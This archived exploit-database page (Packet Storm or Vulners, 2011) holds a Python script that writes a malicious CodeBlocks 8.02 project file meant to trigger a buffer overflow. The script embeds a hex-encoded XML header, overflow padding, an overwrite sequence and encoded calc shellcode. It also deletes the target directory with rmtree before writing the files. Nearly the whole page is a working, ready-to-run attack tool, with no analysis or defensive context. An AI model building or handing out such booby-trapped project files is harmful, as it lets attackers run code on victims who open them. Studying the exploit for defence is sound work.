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CodeBlocks 8.02 Buffer Overflow

🗓️ 01 Feb 2011 00:00:00Reported by sup3rType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 21 Views

CodeBlocks Buffer Overflow Exploi

Code
`#!/usr/bin/python  
  
  
  
import sys,os,shutil  
  
  
  
if len(sys.argv) != 3:  
  
print "------------------------------------------------"  
print "CodeBlocks (cbp) Buffer Overflow Exploit "  
print "Usage : exploit.py <project_name> <path>"  
print "Example : exploit.py sploit_proj c:\proj\\ "  
print "By : sup3r "  
print "------------------------------------------------"  
  
sys.exit(0)  
  
  
  
name = sys.argv[1]  
  
path = sys.argv[2]  
  
  
  
header1=(  
  
"\x3c\x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\x31\x2e\x30\x22\x20"  
  
"\x65\x6e\x63\x6f\x64\x69\x6e\x67\x3d\x22\x55\x54\x46\x2d\x38\x22\x20\x73\x74\x61"  
  
"\x6e\x64\x61\x6c\x6f\x6e\x65\x3d\x22\x79\x65\x73\x22\x20\x3f\x3e\x0a\x3c\x43\x6f"  
  
"\x64\x65\x42\x6c\x6f\x63\x6b\x73\x5f\x70\x72\x6f\x6a\x65\x63\x74\x5f\x66\x69\x6c"  
  
"\x65\x3e\x0a\x09\x3c\x46\x69\x6c\x65\x56\x65\x72\x73\x69\x6f\x6e\x20\x6d\x61\x6a"  
  
"\x6f\x72\x3d\x22\x31\x22\x20\x6d\x69\x6e\x6f\x72\x3d\x22\x36\x22\x20\x2f\x3e\x0a"  
  
"\x09\x3c\x50\x72\x6f\x6a\x65\x63\x74\x3e\x0a\x09\x09\x3c\x4f\x70\x74\x69\x6f\x6e"  
  
"\x20\x74\x69\x74\x6c\x65\x3d\x22"+name+"\x22\x20\x2f\x3e\x0a\x09\x09\x3c\x4f"  
  
"\x70\x74\x69\x6f\x6e\x20\x70\x63\x68\x5f\x6d\x6f\x64\x65\x3d\x22\x32\x22\x20\x2f"  
  
"\x3e\x0a\x09\x09\x3c\x4f\x70\x74\x69\x6f\x6e\x20\x63\x6f\x6d\x70\x69\x6c\x65\x72"  
  
"\x3d\x22\x67\x63\x63\x22\x20\x2f\x3e\x0a\x09\x09\x3c\x42\x75\x69\x6c\x64\x3e\x0a"  
  
"\x09\x09\x09\x3c\x54\x61\x72\x67\x65\x74\x20\x74\x69\x74\x6c\x65\x3d\x22\x44\x65"  
  
"\x62\x75\x67\x22\x3e\x0a\x09\x09\x09\x09\x3c\x4f\x70\x74\x69\x6f\x6e\x20\x6f\x75"  
  
"\x74\x70\x75\x74\x3d\x22")  
  
  
  
header2=(  
  
"\x22\x20\x70\x72\x65\x66\x69\x78\x5f\x61\x75\x74\x6f\x3d\x22\x31\x22\x20\x65\x78"  
  
"\x74\x65\x6e\x73\x69\x6f\x6e\x5f\x61\x75\x74\x6f\x3d\x22\x31\x22\x20\x2f\x3e\x0a"  
  
"\x09\x09\x09\x09\x3c\x4f\x70\x74\x69\x6f\x6e\x20\x6f\x62\x6a\x65\x63\x74\x5f\x6f"  
  
"\x75\x74\x70\x75\x74\x3d\x22\x6f\x62\x6a\x5c\x44\x65\x62\x75\x67\x5c\x22\x20\x2f"  
  
"\x3e\x0a\x09\x09\x09\x09\x3c\x4f\x70\x74\x69\x6f\x6e\x20\x74\x79\x70\x65\x3d\x22"  
  
"\x31\x22\x20\x2f\x3e\x0a\x09\x09\x09\x09\x3c\x4f\x70\x74\x69\x6f\x6e\x20\x63\x6f"  
  
"\x6d\x70\x69\x6c\x65\x72\x3d\x22\x67\x63\x63\x22\x20\x2f\x3e\x0a\x09\x09\x09\x09"  
  
"\x3c\x43\x6f\x6d\x70\x69\x6c\x65\x72\x3e\x0a\x09\x09\x09\x09\x09\x3c\x41\x64\x64"  
  
"\x20\x6f\x70\x74\x69\x6f\x6e\x3d\x22\x2d\x67\x22\x20\x2f\x3e\x0a\x09\x09\x09\x09"  
  
"\x3c\x2f\x43\x6f\x6d\x70\x69\x6c\x65\x72\x3e\x0a\x09\x09\x09\x3c\x2f\x54\x61\x72"  
  
"\x67\x65\x74\x3e\x0a\x09\x09\x09\x3c\x54\x61\x72\x67\x65\x74\x20\x74\x69\x74\x6c"  
  
"\x65\x3d\x22\x52\x65\x6c\x65\x61\x73\x65\x22\x3e\x0a\x09\x09\x09\x09\x3c\x4f\x70"  
  
"\x74\x69\x6f\x6e\x20\x6f\x75\x74\x70\x75\x74\x3d\x22\x62\x69\x6e\x5c\x52\x65\x6c"  
  
"\x65\x61\x73\x65\x5c"+name+"\x22\x20\x70\x72\x65\x66\x69\x78\x5f\x61\x75\x74"  
  
"\x6f\x3d\x22\x31\x22\x20\x65\x78\x74\x65\x6e\x73\x69\x6f\x6e\x5f\x61\x75\x74\x6f"  
  
"\x3d\x22\x31\x22\x20\x2f\x3e\x0a\x09\x09\x09\x09\x3c\x4f\x70\x74\x69\x6f\x6e\x20"  
  
"\x6f\x62\x6a\x65\x63\x74\x5f\x6f\x75\x74\x70\x75\x74\x3d\x22\x6f\x62\x6a\x5c\x52"  
  
"\x65\x6c\x65\x61\x73\x65\x5c\x22\x20\x2f\x3e\x0a\x09\x09\x09\x09\x3c\x4f\x70\x74"  
  
"\x69\x6f\x6e\x20\x74\x79\x70\x65\x3d\x22\x31\x22\x20\x2f\x3e\x0a\x09\x09\x09\x09"  
  
"\x3c\x4f\x70\x74\x69\x6f\x6e\x20\x63\x6f\x6d\x70\x69\x6c\x65\x72\x3d\x22\x67\x63"  
  
"\x63\x22\x20\x2f\x3e\x0a\x09\x09\x09\x09\x3c\x43\x6f\x6d\x70\x69\x6c\x65\x72\x3e"  
  
"\x0a\x09\x09\x09\x09\x09\x3c\x41\x64\x64\x20\x6f\x70\x74\x69\x6f\x6e\x3d\x22\x2d"  
  
"\x4f\x32\x22\x20\x2f\x3e\x0a\x09\x09\x09\x09\x3c\x2f\x43\x6f\x6d\x70\x69\x6c\x65"  
  
"\x72\x3e\x0a\x09\x09\x09\x09\x3c\x4c\x69\x6e\x6b\x65\x72\x3e\x0a\x09\x09\x09\x09"  
  
"\x09\x3c\x41\x64\x64\x20\x6f\x70\x74\x69\x6f\x6e\x3d\x22\x2d\x73\x22\x20\x2f\x3e"  
  
"\x0a\x09\x09\x09\x09\x3c\x2f\x4c\x69\x6e\x6b\x65\x72\x3e\x0a\x09\x09\x09\x3c\x2f"  
  
"\x54\x61\x72\x67\x65\x74\x3e\x0a\x09\x09\x3c\x2f\x42\x75\x69\x6c\x64\x3e\x0a\x09"  
  
"\x09\x3c\x43\x6f\x6d\x70\x69\x6c\x65\x72\x3e\x0a\x09\x09\x09\x3c\x41\x64\x64\x20"  
  
"\x6f\x70\x74\x69\x6f\x6e\x3d\x22\x2d\x57\x61\x6c\x6c\x22\x20\x2f\x3e\x0a\x09\x09"  
  
"\x3c\x2f\x43\x6f\x6d\x70\x69\x6c\x65\x72\x3e\x0a\x09\x09\x3c\x55\x6e\x69\x74\x20"  
  
"\x66\x69\x6c\x65\x6e\x61\x6d\x65\x3d\x22\x6d\x61\x69\x6e\x2e\x63\x22\x3e\x0a\x09"  
  
"\x09\x09\x3c\x4f\x70\x74\x69\x6f\x6e\x20\x63\x6f\x6d\x70\x69\x6c\x65\x72\x56\x61"  
  
"\x72\x3d\x22\x43\x43\x22\x20\x2f\x3e\x0a\x09\x09\x3c\x2f\x55\x6e\x69\x74\x3e\x0a"  
  
"\x09\x09\x3c\x45\x78\x74\x65\x6e\x73\x69\x6f\x6e\x73\x3e\x0a\x09\x09\x09\x3c\x63"  
  
"\x6f\x64\x65\x5f\x63\x6f\x6d\x70\x6c\x65\x74\x69\x6f\x6e\x20\x2f\x3e\x0a\x09\x09"  
  
"\x09\x3c\x64\x65\x62\x75\x67\x67\x65\x72\x20\x2f\x3e\x0a\x09\x09\x3c\x2f\x45\x78"  
  
"\x74\x65\x6e\x73\x69\x6f\x6e\x73\x3e\x0a\x09\x3c\x2f\x50\x72\x6f\x6a\x65\x63\x74"  
  
"\x3e\x0a\x3c\x2f\x43\x6f\x64\x65\x42\x6c\x6f\x63\x6b\x73\x5f\x70\x72\x6f\x6a\x65"  
  
"\x63\x74\x5f\x66\x69\x6c\x65\x3e\x0a")  
  
  
  
c_file=(  
  
"#include <stdio.h>\n"  
  
"#include <stdlib.h>\n\n"  
  
"int main()\n"  
  
"{\r\n"  
  
" printf(\"Don't compile \");\n"  
  
" return 0;\n"  
  
"}\r\n")  
  
  
  
#calc shellcode -> 375 bytes  
  
shellcode=(  
  
"TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIvSkymS8iKnKizNkipta"  
  
"4XtckmQ2SuCZMwgQQrVK3zKKL8bJTVqioWuCFZMR79Z4sN1mLEmqcz5WfLnimlbTOkz7YhM"  
  
"TVLjgORFvCiZQgVcUvmQxo71MCmQS2ZJxVlK1kjLZuoZOrZvPC2EBRnxL28JWY9YTVLjdPP"  
  
"f5KvjimNRTKSpompftKYZ47UVMNeMrrxiZtppx6MYMLvaCvrHjwvYqj2FV7rmKMOm6khlKM"  
  
"OuUOMzCOQvNwl1T6xmwgKzUNZqQXRPMPNmaQo8Nnpnn77Jq6k5pilYJ4mNQojymXqwvyUFO"  
  
"ytJPtq0vzNn7gw1CFtJA")  
  
  
  
payload = header1  
  
payload += "\x41"*(4072-len(path))  
  
payload += "\x74\x06\x41\x41"  
  
payload += "xp"  
  
payload += "\x30\x71"  
  
payload += "\x61"*169  
  
payload += "\x41"*111  
  
payload += shellcode  
  
payload += "\x61"*(6720-len(shellcode))  
  
payload += header2  
  
  
  
try:  
  
shutil.rmtree(path)  
  
except os.error:  
  
pass  
  
  
  
try:  
  
os.mkdir(path)  
  
cbp = open(path+name+'.cbp', 'w')  
  
cbp.write(payload)  
  
cbp.close()  
  
main = open(path+'main.c', 'w')  
  
main.write(c_file)  
  
raw_input("[x] Exploit project created!")  
  
  
  
except:  
  
print "Error!"  
  
`

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01 Feb 2011 00:00Current
1.2Low risk
Vulners AI Score1.2
21